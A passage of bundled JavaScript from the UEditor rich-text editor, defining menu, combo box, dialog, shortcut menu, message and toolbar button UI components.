            a = baidu.editor.ui.CellAlignPicker, s = baidu.editor.ui.Menu = function (e) {
                this.initOptions(e), this.initMenu()
            }, l = {
                renderHtml: function () {
                    return '<div class="edui-menuitem edui-menuseparator"><div class="edui-menuseparator-inner"></div></div>'
                }, postRender: function () {
                }, queryAutoHide: function () {
                    return !0
                }
            };
        s.prototype = {
            items: null, uiName: "menu", initMenu: function () {
                this.items = this.items || [], this.initPopup(), this.initItems()
            }, initItems: function () {
                for (var e = 0; e < this.items.length; e++) {
                    var t = this.items[e];
                    "-" == t ? this.items[e] = this.getSeparator() : t instanceof d || (t.editor = this.editor, t.theme = this.editor.options.theme, this.items[e] = this.createItem(t))
                }
            }, getSeparator: function () {
                return l
            }, createItem: function (e) {
                return e.menu = this, new d(e)
            }, _Popup_getContentHtmlTpl: n.prototype.getContentHtmlTpl, getContentHtmlTpl: function () {
                if (0 == this.items.length) return this._Popup_getContentHtmlTpl();
                for (var e = [], t = 0; t < this.items.length; t++) {
                    var i = this.items[t];
                    e[t] = i.renderHtml()
                }
                return '<div class="%%-body">' + e.join("") + "</div>"
            }, _Popup_postRender: n.prototype.postRender, postRender: function () {
                for (var n = this, e = 0; e < this.items.length; e++) {
                    var t = this.items[e];
                    t.ownerMenu = this, t.postRender()
                }
                i.on(this.getDom(), "mouseover", function (e) {
                    var t = (e = e || event).relatedTarget || e.fromElement, i = n.getDom();
                    o.contains(i, t) || i === t || n.fireEvent("over")
                }), this._Popup_postRender()
            }, queryAutoHide: function (e) {
                if (e) {
                    if (o.contains(this.getDom(), e)) return !1;
                    for (var t = 0; t < this.items.length; t++) {
                        if (!1 === this.items[t].queryAutoHide(e)) return !1
                    }
                }
            }, clearItems: function () {
                for (var e = 0; e < this.items.length; e++) {
                    var t = this.items[e];
                    clearTimeout(t._showingTimer), clearTimeout(t._closingTimer), t.subMenu && t.subMenu.destroy()
                }
                this.items = []
            }, destroy: function () {
                this.getDom() && i.remove(this.getDom()), this.clearItems()
            }, dispose: function () {
                this.destroy()
            }
        }, e.inherits(s, n);
        var d = baidu.editor.ui.MenuItem = function (e) {
            if (this.initOptions(e), this.initUIBase(), this.Stateful_init(), this.subMenu && !(this.subMenu instanceof s)) if (e.className && -1 != e.className.indexOf("aligntd")) {
                var t = this;
                this.subMenu.selected = this.editor.queryCommandValue("cellalignment"), this.subMenu = new n({
                    content: new a(this.subMenu),
                    parentMenu: t,
                    editor: t.editor,
                    destroy: function () {
                        this.getDom() && i.remove(this.getDom())
                    }
                }), this.subMenu.addListener("postRenderAfter", function () {
                    i.on(this.getDom(), "mouseover", function () {
                        t.addState("opened")
                    })
                })
            } else this.subMenu = new s(this.subMenu)
        };
        d.prototype = {
            label: "",
            subMenu: null,
            ownerMenu: null,
            uiName: "menuitem",
            alwalysHoverable: !0,
            getHtmlTpl: function () {
                return '<div id="##" class="%%" stateful onclick="$$._onClick(event, this);"><div class="%%-body">' + this.renderLabelHtml() + "</div></div>"
            },
            postRender: function () {
                var i = this;
                this.addListener("over", function () {
                    i.ownerMenu.fireEvent("submenuover", i), i.subMenu && i.delayShowSubMenu()
                }), this.subMenu && (this.getDom().className += " edui-hassubmenu", this.subMenu.render(), this.addListener("out", function () {
                    i.delayHideSubMenu()
                }), this.subMenu.addListener("over", function () {
                    clearTimeout(i._closingTimer), i._closingTimer = null, i.addState("opened")
                }), this.ownerMenu.addListener("hide", function () {
                    i.hideSubMenu()
                }), this.ownerMenu.addListener("submenuover", function (e, t) {
                    t !== i && i.delayHideSubMenu()
                }), this.subMenu._bakQueryAutoHide = this.subMenu.queryAutoHide, this.subMenu.queryAutoHide = function (e) {
                    return (!e || !o.contains(i.getDom(), e)) && this._bakQueryAutoHide(e)
                }), this.getDom().style.tabIndex = "-1", o.makeUnselectable(this.getDom()), this.Stateful_postRender()
            },
            delayShowSubMenu: function () {
                var e = this;
                e.isDisabled() || (e.addState("opened"), clearTimeout(e._showingTimer), clearTimeout(e._closingTimer), e._closingTimer = null, e._showingTimer = setTimeout(function () {
                    e.showSubMenu()
                }, 250))
            },
            delayHideSubMenu: function () {
                var e = this;
                e.isDisabled() || (e.removeState("opened"), clearTimeout(e._showingTimer), e._closingTimer || (e._closingTimer = setTimeout(function () {
                    e.hasState("opened") || e.hideSubMenu(), e._closingTimer = null
                }, 400)))
            },
            renderLabelHtml: function () {
                return '<div class="edui-arrow"></div><div class="edui-box edui-icon"></div><div class="edui-box edui-label %%-label">' + (this.label || "") + "</div>"
            },
            getStateDom: function () {
                return this.getDom()
            },
            queryAutoHide: function (e) {
                if (this.subMenu && this.hasState("opened")) return this.subMenu.queryAutoHide(e)
            },
            _onClick: function (e, t) {
                this.hasState("disabled") || !1 !== this.fireEvent("click", e, t) && (this.subMenu ? this.showSubMenu() : n.postHide(e))
            },
            showSubMenu: function () {
                var e = o.getClientRect(this.getDom());
                e.right -= 5, e.left += 2, e.width -= 7, e.top -= 4, e.bottom += 4, e.height += 8, this.subMenu.showAnchorRect(e, !0, !0)
            },
            hideSubMenu: function () {
                this.subMenu.hide()
            }
        }, e.inherits(d, t), e.extend(d.prototype, r, !0)
    }(),Mda = baidu.editor.utils,Nda = baidu.editor.ui.uiUtils,Oda = baidu.editor.ui.Menu,Pda = baidu.editor.ui.SplitButton,Qda = baidu.editor.ui.Combox = function (e) {
        this.initOptions(e), this.initCombox()
    },Qda.prototype = {
        uiName: "combox", onbuttonclick: function () {
            this.showPopup()
        }, initCombox: function () {
            var e = this;
            this.items = this.items || [];
            for (var t = 0; t < this.items.length; t++) {
                var i = this.items[t];
                i.uiName = "listitem", i.index = t, i.onclick = function () {
                    e.selectByIndex(this.index)
                }
            }
            this.popup = new Oda({
                items: this.items,
                uiName: "list",
                editor: this.editor,
                captureWheel: !0,
                combox: this
            }), this.initSplitButton()
        }, _SplitButton_postRender: Pda.prototype.postRender, postRender: function () {
            this._SplitButton_postRender(), this.setLabel(this.label || ""), this.setValue(this.initValue || "")
        }, showPopup: function () {
            var e = Nda.getClientRect(this.getDom());
            e.top += 1, --e.bottom, e.height -= 2, this.popup.showAnchorRect(e)
        }, getValue: function () {
            return this.value
        }, setValue: function (e) {
            var t = this.indexByValue(e);
            -1 != t ? (this.selectedIndex = t, this.setLabel(this.items[t].label), this.value = this.items[t].value) : (this.selectedIndex = -1, this.setLabel(this.getLabelForUnknowValue(e)), this.value = e)
        }, setLabel: function (e) {
            this.getDom("button_body").innerHTML = e, this.label = e
        }, getLabelForUnknowValue: function (e) {
            return e
        }, indexByValue: function (e) {
            for (var t = 0; t < this.items.length; t++) if (e == this.items[t].value) return t;
            return -1
        }, getItem: function (e) {
            return this.items[e]
        }, selectByIndex: function (e) {
            e < this.items.length && !1 !== this.fireEvent("select", e) && (this.selectedIndex = e, this.value = this.items[e].value, this.setLabel(this.items[e].label))
        }
    },Mda.inherits(Qda, Pda),cea = baidu.editor.utils,dea = baidu.editor.dom.domUtils,eea = baidu.editor.ui.uiUtils,fea = baidu.editor.ui.Mask,gea = baidu.editor.ui.UIBase,hea = baidu.editor.ui.Button,iea = baidu.editor.ui.Dialog = function (e) {
        if (e.name) {
            var t = e.name, i = e.cssRules;
            e.className || (e.className = "edui-for-" + t), i && (e.cssRules = ".edui-default .edui-for-" + t + " .edui-dialog-content  {" + i + "}")
        }
        this.initOptions(cea.extend({
            autoReset: !0, draggable: !0, onok: function () {
            }, oncancel: function () {
            }, onclose: function (e, t) {
                return t ? this.onok() : this.oncancel()
            }, holdScroll: !1
        }, e)), this.initDialog()
    },iea.prototype = {
        draggable: !1, uiName: "dialog", initDialog: function () {
            var e = this, t = this.editor.options.theme;
            if (this.cssRules && cea.cssRule("edui-customize-" + this.name + "-style", this.cssRules), this.initUIBase(), this.modalMask = jea = jea || new fea({
                className: "edui-dialog-modalmask",
                theme: t,
                onclick: function () {
                    lea && lea.close(!1)
                }
            }), this.dragMask = kea = kea || new fea({
                className: "edui-dialog-dragmask",
                theme: t
            }), this.closeButton = new hea({
                className: "edui-dialog-closebutton",
                title: e.closeDialog,
                theme: t,
                onclick: function () {
                    e.close(!1)
                }
            }), this.fullscreen && this.initResizeEvent(), this.buttons) for (var i = 0; i < this.buttons.length; i++) this.buttons[i] instanceof hea || (this.buttons[i] = new hea(cea.extend(this.buttons[i], {editor: this.editor}, !0)))
        }, initResizeEvent: function () {
            var r = this;
            dea.on(window, "resize", function () {
                r._hidden || void 0 === r._hidden || (r.__resizeTimer && window.clearTimeout(r.__resizeTimer), r.__resizeTimer = window.setTimeout(function () {
                    r.__resizeTimer = null;
                    var e = r.getDom(), t = r.getDom("content"), i = UE.ui.uiUtils.getClientRect(e),
                        n = UE.ui.uiUtils.getClientRect(t), o = eea.getViewportRect();
                    t.style.width = o.width - i.width + n.width + "px", t.style.height = o.height - i.height + n.height + "px", e.style.width = o.width + "px", e.style.height = o.height + "px", r.fireEvent("resize")
                }, 100))
            })
        }, fitSize: function () {
            var e = this.getDom("body"), t = this.mesureSize();
            return e.style.width = t.width + "px", e.style.height = t.height + "px", t
        }, safeSetOffset: function (e) {
            var t = this.getDom(), i = eea.getViewportRect(), n = eea.getClientRect(t), o = e.left;
            o + n.width > i.right && (o = i.right - n.width);
            var r = e.top;
            r + n.height > i.bottom && (r = i.bottom - n.height), t.style.left = Math.max(o, 0) + "px", t.style.top = Math.max(r, 0) + "px"
        }, showAtCenter: function () {
            var e = eea.getViewportRect();
            if (this.fullscreen) {
                var t = this.getDom(), i = this.getDom("content");
                t.style.display = "block";
                var n = UE.ui.uiUtils.getClientRect(t), o = UE.ui.uiUtils.getClientRect(i);
                t.style.left = "-100000px", i.style.width = e.width - n.width + o.width + "px", i.style.height = e.height - n.height + o.height + "px", t.style.width = e.width + "px", t.style.height = e.height + "px", t.style.left = 0, this._originalContext = {
                    html: {
                        overflowX: document.documentElement.style.overflowX,
                        overflowY: document.documentElement.style.overflowY
                    }, body: {overflowX: document.body.style.overflowX, overflowY: document.body.style.overflowY}
                }, document.documentElement.style.overflowX = "hidden", document.documentElement.style.overflowY = "hidden", document.body.style.overflowX = "hidden", document.body.style.overflowY = "hidden"
            } else {
                this.getDom().style.display = "";
                var r = this.fitSize(), a = 0 | this.getDom("titlebar").offsetHeight, s = e.width / 2 - r.width / 2,
                    l = e.height / 2 - (r.height - a) / 2 - a, d = this.getDom();
                this.safeSetOffset({
                    left: Math.max(0 | s, 0),
                    top: Math.max(0 | l, 0)
                }), dea.hasClass(d, "edui-state-centered") || (d.className += " edui-state-centered")
            }
            this._show()
        }, getContentHtml: function () {
            var e = "";
            return "string" == typeof this.content ? e = this.content : this.iframeUrl && (e = '<span id="' + this.id + '_contmask" class="dialogcontmask"></span><iframe id="' + this.id + '_iframe" class="%%-iframe" height="100%" width="100%" frameborder="0" src="' + this.iframeUrl + '"></iframe>'), e
        }, getHtmlTpl: function () {
            var e = "";
            if (this.buttons) {
                for (var t = [], i = 0; i < this.buttons.length; i++) t[i] = this.buttons[i].renderHtml();
                e = '<div class="%%-foot"><div id="##_buttons" class="%%-buttons">' + t.join("") + "</div></div>"
            }
            return '<div id="##" class="%%"><div ' + (this.fullscreen ? 'class="%%-wrap edui-dialog-fullscreen-flag"' : 'class="%%"') + '><div id="##_body" class="%%-body"><div class="%%-shadow"></div><div id="##_titlebar" class="%%-titlebar"><div class="%%-draghandle" onmousedown="$$._onTitlebarMouseDown(event, this);"><span class="%%-caption">' + (this.title || "") + "</span></div>" + this.closeButton.renderHtml() + '</div><div id="##_content" class="%%-content">' + (this.autoReset ? "" : this.getContentHtml()) + "</div>" + e + "</div></div></div>"
        }, postRender: function () {
            this.modalMask.getDom() || (this.modalMask.render(), this.modalMask.hide()), this.dragMask.getDom() || (this.dragMask.render(), this.dragMask.hide());
            var e = this;
            if (this.addListener("show", function () {
                e.modalMask.show(this.getDom().style.zIndex - 2)
            }), this.addListener("hide", function () {
                e.modalMask.hide()
            }), this.buttons) for (var t = 0; t < this.buttons.length; t++) this.buttons[t].postRender();
            dea.on(window, "resize", function () {
                setTimeout(function () {
                    e.isHidden() || e.safeSetOffset(eea.getClientRect(e.getDom()))
                })
            }), this._hide()
        }, mesureSize: function () {
            var e = this.getDom("body"), t = eea.getClientRect(this.getDom("content")).width;
            return e.style.width = t, eea.getClientRect(e)
        }, _onTitlebarMouseDown: function (e, t) {
            if (this.draggable) {
                eea.getViewportRect();
                var o, r = this;
                eea.startDrag(e, {
                    ondragstart: function () {
                        o = eea.getClientRect(r.getDom()), r.getDom("contmask").style.visibility = "visible", r.dragMask.show(r.getDom().style.zIndex - 1)
                    }, ondragmove: function (e, t) {
                        var i = o.left + e, n = o.top + t;
                        r.safeSetOffset({left: i, top: n})
                    }, ondragstop: function () {
                        r.getDom("contmask").style.visibility = "hidden", dea.removeClasses(r.getDom(), ["edui-state-centered"]), r.dragMask.hide()
                    }
                })
            }
        }, reset: function () {
            this.getDom("content").innerHTML = this.getContentHtml(), this.fireEvent("dialogafterreset")
        }, _show: function () {
            this._hidden && (this.getDom().style.display = "", this.editor.container.style.zIndex && (this.getDom().style.zIndex = +this.editor.container.style.zIndex + 10), this._hidden = !1, this.fireEvent("show"), baidu.editor.ui.uiUtils.getFixedLayer().style.zIndex = this.getDom().style.zIndex - 4)
        }, isHidden: function () {
            return this._hidden
        }, _hide: function () {
            if (!this._hidden) {
                var e = this.getDom();
                e.style.display = "none", e.style.zIndex = "", e.style.width = "", e.style.height = "", this._hidden = !0, this.fireEvent("hide")
            }
        }, open: function () {
            if (this.autoReset) try {
                this.reset()
            } catch (e) {
                this.render(), this.open()
            }
            if (this.showAtCenter(), this.iframeUrl) try {
                this.getDom("iframe").focus()
            } catch (e) {
            }
            lea = this
        }, _onCloseButtonClick: function (e, t) {
            this.close(!1)
        }, close: function (e) {
            if (!1 !== this.fireEvent("close", e)) {
                this.fullscreen && (document.documentElement.style.overflowX = this._originalContext.html.overflowX, document.documentElement.style.overflowY = this._originalContext.html.overflowY, document.body.style.overflowX = this._originalContext.body.overflowX, document.body.style.overflowY = this._originalContext.body.overflowY, delete this._originalContext), this._hide();
                var t = this.getDom("content"), i = this.getDom("iframe");
                if (t && i) {
                    var n = i.contentDocument || i.contentWindow.document;
                    n && (n.body.innerHTML = ""), dea.remove(t)
                }
            }
        }
    },cea.inherits(iea, gea),sfa = baidu.editor.utils,tfa = baidu.editor.ui.Menu,ufa = baidu.editor.ui.SplitButton,vfa = baidu.editor.ui.MenuButton = function (e) {
        this.initOptions(e), this.initMenuButton()
    },vfa.prototype = {
        initMenuButton: function () {
            var t = this;
            this.uiName = "menubutton", this.popup = new tfa({
                items: t.items,
                className: t.className,
                editor: t.editor
            }), this.popup.addListener("show", function () {
                for (var e = 0; e < this.items.length; e++) this.items[e].removeState("checked"), this.items[e].value == t._value && (this.items[e].addState("checked"), this.value = t._value)
            }), this.initSplitButton()
        }, setValue: function (e) {
            this._value = e
        }
    },sfa.inherits(vfa, ufa),Bfa = baidu.editor.utils,Cfa = baidu.editor.ui.Popup,Dfa = baidu.editor.ui.SplitButton,Efa = baidu.editor.ui.MultiMenuPop = function (e) {
        this.initOptions(e), this.initMultiMenu()
    },Efa.prototype = {
        initMultiMenu: function () {
            var e = this;
            this.popup = new Cfa({
                content: "", editor: e.editor, iframe_rendered: !1, onshow: function () {
                    this.iframe_rendered || (this.iframe_rendered = !0, this.getDom("content").innerHTML = '<iframe id="' + e.id + '_iframe" src="' + e.iframeUrl + '" frameborder="0"></iframe>', e.editor.container.style.zIndex && (this.getDom().style.zIndex = +e.editor.container.style.zIndex + 1))
                }
            }), this.onbuttonclick = function () {
                this.showPopup()
            }, this.initSplitButton()
        }
    },Bfa.inherits(Efa, Dfa),Hfa = baidu.editor.ui,Ifa = Hfa.UIBase,Jfa = Hfa.uiUtils,Kfa = baidu.editor.utils,Lfa = baidu.editor.dom.domUtils,Mfa = [],Ofa = !1,Pfa = Hfa.ShortCutMenu = function (e) {
        this.initOptions(e), this.initShortCutMenu()
    },Pfa.postHide = Qfa,Pfa.prototype = {
        isHidden: !0, SPACE: 5, initShortCutMenu: function () {
            this.items = this.items || [], this.initUIBase(), this.initItems(), this.initEvent(), Mfa.push(this)
        }, initEvent: function () {
            var d = this, e = d.editor.document;
            Lfa.on(e, "mousemove", function (e) {
                if (!1 === d.isHidden) {
                    if (d.getSubMenuMark() || "contextmenu" == d.eventType) return;
                    var t = !0, i = d.getDom(), n = i.offsetWidth, o = i.offsetHeight, r = n / 2 + d.SPACE, a = o / 2,
                        s = Math.abs(e.screenX - d.left), l = Math.abs(e.screenY - d.top);
                    clearTimeout(Nfa), Nfa = setTimeout(function () {
                        0 < l && l < a ? d.setOpacity(i, "1") : a < l && l < 70 + a ? (d.setOpacity(i, "0.5"), t = !1) : 70 + a < l && l < 140 + a && d.hide(), t && 0 < s && s < r ? d.setOpacity(i, "1") : r < s && s < r + 70 ? d.setOpacity(i, "0.5") : r + 70 < s && s < r + 140 && d.hide()
                    })
                }
            }), browser.chrome && Lfa.on(e, "mouseout", function (e) {
                var t = e.relatedTarget || e.toElement;
                null != t && "HTML" != t.tagName || d.hide()
            }), d.editor.addListener("afterhidepop", function () {
                d.isHidden || (Ofa = !0)
            })
        }, initItems: function () {
            if (Kfa.isArray(this.items)) for (var e = 0, t = this.items.length; e < t; e++) {
                var i = this.items[e].toLowerCase();
                Hfa[i] && (this.items[e] = new Hfa[i](this.editor), this.items[e].className += " edui-shortcutsubmenu ")
            }
        }, setOpacity: function (e, t) {
            browser.ie && browser.version < 9 ? e.style.filter = "alpha(opacity = " + 100 * parseFloat(t) + ");" : e.style.opacity = t
        }, getSubMenuMark: function () {
            Ofa = !1;
            for (var e, t = Jfa.getFixedLayer(), i = Lfa.getElementsByTagName(t, "div", function (e) {
                return Lfa.hasClass(e, "edui-shortcutsubmenu edui-popup")
            }), n = 0; e = i[n++];) "none" != e.style.display && (Ofa = !0);
            return Ofa
        }, show: function (e, t) {
            var i = this, n = {}, o = this.getDom(), r = Jfa.getFixedLayer();

            function a(e) {
                e.left < 0 && (e.left = 0), e.top < 0 && (e.top = 0), o.style.cssText = "position:absolute;left:" + e.left + "px;top:" + e.top + "px;"
            }

            function s(e) {
                e.tagName || (e = e.getDom()), n.left = parseInt(e.style.left), n.top = parseInt(e.style.top), n.top -= o.offsetHeight + 15, a(n)
            }

            if (i.eventType = e.type, o.style.cssText = "display:block;left:-9999px", "contextmenu" == e.type && t) {
                var l = Lfa.getElementsByTagName(r, "div", "edui-contextmenu")[0];
                l ? s(l) : i.editor.addListener("aftershowcontextmenu", function (e, t) {
                    s(t)
                })
            } else (n = Jfa.getViewportOffsetByEvent(e)).top -= o.offsetHeight + i.SPACE, n.left += i.SPACE + 20, a(n), i.setOpacity(o, .2);
            i.isHidden = !1, i.left = e.screenX + o.offsetWidth / 2 - i.SPACE, i.top = e.screenY - o.offsetHeight / 2 - i.SPACE, i.editor && (o.style.zIndex = +i.editor.container.style.zIndex + 10, r.style.zIndex = o.style.zIndex - 1)
        }, hide: function () {
            this.getDom() && (this.getDom().style.display = "none"), this.isHidden = !0
        }, postRender: function () {
            if (Kfa.isArray(this.items)) for (var e, t = 0; e = this.items[t++];) e.postRender()
        }, getHtmlTpl: function () {
            var e;
            if (Kfa.isArray(this.items)) {
                e = [];
                for (var t = 0; t < this.items.length; t++) e[t] = this.items[t].renderHtml();
                e = e.join("")
            } else e = this.items;
            return '<div id="##" class="%% edui-toolbar" data-src="shortcutmenu" onmousedown="return false;" onselectstart="return false;" >' + e + "</div>"
        }
    },Kfa.inherits(Pfa, Ifa),Lfa.on(document, "mousedown", function (e) {
        Qfa(e)
    }),Lfa.on(window, "scroll", function (e) {
        Qfa(e)
    }),Mga = baidu.editor.utils,Nga = baidu.editor.ui.UIBase,Oga = baidu.editor.ui.Breakline = function (e) {
        this.initOptions(e), this.initSeparator()
    },Oga.prototype = {
        uiName: "Breakline", initSeparator: function () {
            this.initUIBase()
        }, getHtmlTpl: function () {
            return "<br/>"
        }
    },Mga.inherits(Oga, Nga),Qga = baidu.editor.utils,Rga = baidu.editor.dom.domUtils,Sga = baidu.editor.ui.UIBase,Tga = baidu.editor.ui.Message = function (e) {
        this.initOptions(e), this.initMessage()
    },Tga.prototype = {
        initMessage: function () {
            this.initUIBase()
        }, getHtmlTpl: function () {
            return '<div id="##" class="edui-message %%"> <div id="##_closer" class="edui-message-closer">×</div> <div id="##_body" class="edui-message-body edui-message-type-info"> <iframe style="position:absolute;z-index:-1;left:0;top:0;background-color: transparent;" frameborder="0" width="100%" height="100%" src="about:blank"></iframe> <div class="edui-shadow"></div> <div id="##_content" class="edui-message-content">  </div> </div></div>'
        }, reset: function (e) {
            var t = this;
            e.keepshow || (clearTimeout(this.timer), t.timer = setTimeout(function () {
                t.hide()
            }, e.timeout || 4e3)), void 0 !== e.content && t.setContent(e.content), void 0 !== e.type && t.setType(e.type), t.show()
        }, postRender: function () {
            var e = this, t = this.getDom("closer");
            t && Rga.on(t, "click", function () {
                e.hide()
            })
        }, setContent: function (e) {
            this.getDom("content").innerHTML = e
        }, setType: function (e) {
            e = e || "info";
            var t = this.getDom("body");
            t.className = t.className.replace(/edui-message-type-[\w-]+/, "edui-message-type-" + e)
        }, getContent: function () {
            return this.getDom("content").innerHTML
        }, getType: function () {
            var e = this.getDom("body").match(/edui-message-type-([\w-]+)/);
            return e ? e[1] : ""
        }, show: function () {
            this.getDom().style.display = "block"
        }, hide: function () {
            var e = this.getDom();
            e && (e.style.display = "none", e.parentNode && e.parentNode.removeChild(e))
        }
    },Qga.inherits(Tga, Sga),function () {
        var c = baidu.editor.utils, u = baidu.editor.ui, t = u.Dialog;
        u.buttons = {}, u.Dialog = function (e) {
            var n = new t(e);
            return n.addListener("hide", function () {
                if (n.editor) {
                    var e = n.editor;
                    try {
                        if (browser.gecko) {
                            var t = e.window.scrollY, i = e.window.scrollX;
                            e.body.focus(), e.window.scrollTo(i, t)
                        } else e.focus()
                    } catch (e) {
                    }
                }
            }), n
        };
        for (var s = {
            insertimage: "~/dialogs/image/image.html",
            preview: "~/dialogs/preview/preview.html",
            edittip: "~/dialogs/table/edittip.html",
            edittable: "~/dialogs/table/edittable.html",
            edittd: "~/dialogs/table/edittd.html"
        }, e = ["undo", "redo", "formatmatch", "bold", "italic", "underline", "fontborder", "touppercase", "tolowercase", "strikethrough", "subscript", "superscript", "source", "indent", "outdent", "blockquote", "pasteplain", "pagebreak", "selectall", "print", "horizontal", "gapfilling", "removeformat", "time", "date", "unlink", "insertparagraphbeforetable", "insertrow", "insertcol", "mergeright", "mergedown", "deleterow", "deletecol", "splittorows", "splittocols", "splittocells", "mergecells", "deletetable", "drafts", "kityformula", "custombtn", "complexformulas"], i = 0; r = e[i++];) r = r.toLowerCase(), u[r] = function (a) {
            return function (o) {
                var r = new u.Button({
                    className: "edui-for-" + a,
                    title: o.options.labelMap[a] || o.getLang("labelMap." + a) || "",
                    onclick: function () {
                        o.execCommand(a)
                    },
                    theme: o.options.theme,
                    showText: !1
                });
                return u.buttons[a] = r, o.addListener("selectionchange", function (e, t, i) {
                    var n = o.queryCommandState(a);
                    -1 == n ? (r.setDisabled(!0), r.setChecked(!1)) : i || (r.setDisabled(!1), r.setChecked(n))
                }), r
            }
        }(r);
        u.cleardoc = function (e) {
            var t = new u.Button({
                className: "edui-for-cleardoc",
                title: e.options.labelMap.cleardoc || e.getLang("labelMap.cleardoc") || "",
                theme: e.options.theme,
                onclick: function () {
                    confirm(e.getLang("confirmClear")) && e.execCommand("cleardoc")
                }
            });
            return u.buttons.cleardoc = t, e.addListener("selectionchange", function () {
                t.setDisabled(-1 == e.queryCommandState("cleardoc"))
            }), t
        };
        var n = {
            justify: ["left", "right", "center", "justify"],
            imagefloat: ["none", "left", "center", "right"],
            directionality: ["ltr", "rtl"]
        };
        for (var o in n) !function (a, e) {
            for (var t, i = 0; t = e[i++];) !function (r) {
                u[a.replace("float", "") + r] = function (n) {
                    var o = new u.Button({
                        className: "edui-for-" + a.replace("float", "") + r,
                        title: n.options.labelMap[a.replace("float", "") + r] || n.getLang("labelMap." + a.replace("float", "") + r) || "",
                        theme: n.options.theme,
                        onclick: function () {
                            n.execCommand(a, r)
                        }
                    });
                    return u.buttons[a] = o, n.addListener("selectionchange", function (e, t, i) {
                        o.setDisabled(-1 == n.queryCommandState(a)), o.setChecked(n.queryCommandValue(a) == r && !i)
                    }), o
                }
            }(t)
        }(o, n[o]);
        var r;
        for (i = 0; r = ["backcolor", "forecolor"][i++];) u[r] = function (n) {
            return function (i) {
                var e = new u.ColorButton({
                    className: "edui-for-" + n,
                    color: "default",
                    title: i.options.labelMap[n] || i.getLang("labelMap." + n) || "",
                    editor: i,
                    onpickcolor: function (e, t) {
                        i.execCommand(n, t)
                    },
                    onpicknocolor: function () {
                        i.execCommand(n, "default"), this.setColor("transparent"), this.color = "default"
                    },
                    onbuttonclick: function () {
                        i.execCommand(n, this.color)
                    }
                });
                return u.buttons[n] = e, i.addListener("selectionchange", function () {
                    e.setDisabled(-1 == i.queryCommandState(n))
                }), e
            }
        }(r);
        var a = {
            noOk: ["searchreplace", "help", "spechars", "webapp", "preview"],
            ok: ["attachment", "anchor", "link", "insertimage", "map", "gmap", "insertframe", "wordimage", "insertvideo", "insertframe", "edittip", "edittable", "edittd", "scrawl", "template", "music", "background", "charts"]
        };
        for (var o in a) !function (a, e) {
            for (var t, i = 0; t = e[i++];) browser.opera && "searchreplace" === t || function (r) {
                u[r] = function (t, e, i) {
                    var n;
                    e = e || (t.options.iframeUrlMap || {})[r] || s[r], i = t.options.labelMap[r] || t.getLang("labelMap." + r) || "", e && (n = new u.Dialog(c.extend({
                        iframeUrl: t.ui.mapUrl(e),
                        editor: t,
                        className: "edui-for-" + r,
                        title: i,
                        holdScroll: "insertimage" === r,
                        fullscreen: /charts|preview/.test(r),
                        closeDialog: t.getLang("closeDialog")
                    }, "ok" == a ? {
                        buttons: [{
                            className: "edui-okbutton",
                            label: t.getLang("ok"),
                            editor: t,
                            onclick: function () {
                                n.close(!0)
                            }
                        }, {
                            className: "edui-cancelbutton",
                            label: t.getLang("cancel"),
                            editor: t,
                            onclick: function () {
                                n.close(!1)
                            }
                        }]
                    } : {})), t.ui._dialogs[r + "Dialog"] = n);
                    var o = new u.Button({
                        className: "edui-for-" + r,
                        title: i,
                        onclick: function () {
                            if (n) switch (r) {
                                case"wordimage":
                                    var e = t.execCommand("wordimage");
                                    e && e.length && (n.render(), n.open());
                                    break;
                                case"scrawl":
                                    -1 != t.queryCommandState("scrawl") && (n.render(), n.open());
                                    break;
                                default:
                                    n.render(), n.open()
                            }
                        },
                        theme: t.options.theme,
                        disabled: "scrawl" == r && -1 == t.queryCommandState("scrawl") || "charts" == r
                    });
                    return u.buttons[r] = o, t.addListener("selectionchange", function () {
                        if (!(r in {edittable: 1})) {
                            var e = t.queryCommandState(r);
                            o.getDom() && (o.setDisabled(-1 == e), o.setChecked(e))
                        }
                    }), o
                }
            }(t.toLowerCase())
        }(o, a[o]);
        u.snapscreen = function (e, t, i) {
            i = e.options.labelMap.snapscreen || e.getLang("labelMap.snapscreen") || "";
            var n = new u.Button({
                className: "edui-for-snapscreen", title: i, onclick: function () {
                    e.execCommand("snapscreen")
                }, theme: e.options.theme
            });
            if (u.buttons.snapscreen = n, t = t || (e.options.iframeUrlMap || {}).snapscreen || s.snapscreen) {
                var o = new u.Dialog({
                    iframeUrl: e.ui.mapUrl(t),
                    editor: e,
                    className: "edui-for-snapscreen",
                    title: i,
                    buttons: [{
                        className: "edui-okbutton", label: e.getLang("ok"), editor: e, onclick: function () {
                            o.close(!0)
                        }
                    }, {
                        className: "edui-cancelbutton", label: e.getLang("cancel"), editor: e, onclick: function () {
                            o.close(!1)
                        }
                    }]
                });
                o.render(), e.ui._dialogs.snapscreenDialog = o
            }
            return e.addListener("selectionchange", function () {
                n.setDisabled(-1 == e.queryCommandState("snapscreen"))
            }), n
        }, u.insertcode = function (o, e, r) {
            e = o.options.insertcode || [], r = o.options.labelMap.insertcode || o.getLang("labelMap.insertcode") || "";
            var i = [];
            c.each(e, function (e, t) {
                i.push({
                    label: e, value: t, theme: o.options.theme, renderLabelHtml: function () {
                        return '<div class="edui-label %%-label" >' + (this.label || "") + "</div>"
                    }
                })
            });
            var a = new u.Combox({
                editor: o, items: i, onselect: function (e, t) {
                    o.execCommand("insertcode", this.items[t].value)
                }, onbuttonclick: function () {
                    this.showPopup()
                }, title: r, initValue: r, className: "edui-for-insertcode", indexByValue: function (e) {
                    if (e) for (var t, i = 0; t = this.items[i]; i++) if (-1 != t.value.indexOf(e)) return i;
                    return -1
                }
            });
            return u.buttons.insertcode = a, o.addListener("selectionchange", function (e, t, i) {
                if (!i) if (-1 == o.queryCommandState("insertcode")) a.setDisabled(!0); else {
                    a.setDisabled(!1);
                    var n = o.queryCommandValue("insertcode");
                    if (!n) return void a.setValue(r);
                    n = n && n.replace(/['"]/g, "").split(",")[0], a.setValue(n)
                }
            }), a
        }, u.fontfamily = function (o, e, t) {
            if (e = o.options.fontfamily || [], t = o.options.labelMap.fontfamily || o.getLang("labelMap.fontfamily") || "", e.length) {
                for (var i, n = 0, r = []; i = e[n]; n++) {
                    var a = o.getLang("fontfamily")[i.name] || "";
                    s = i.label || a, l = i.val, r.push({
                        label: s,
                        value: l,
                        theme: o.options.theme,
                        renderLabelHtml: function () {
                            return '<div class="edui-label %%-label" style="font-family:' + c.unhtml(this.value) + '">' + (this.label || "") + "</div>"
                        }
                    })
                }
                var s, l, d = new u.Combox({
                    editor: o, items: r, onselect: function (e, t) {
                        o.execCommand("FontFamily", this.items[t].value)
                    }, onbuttonclick: function () {
                        this.showPopup()
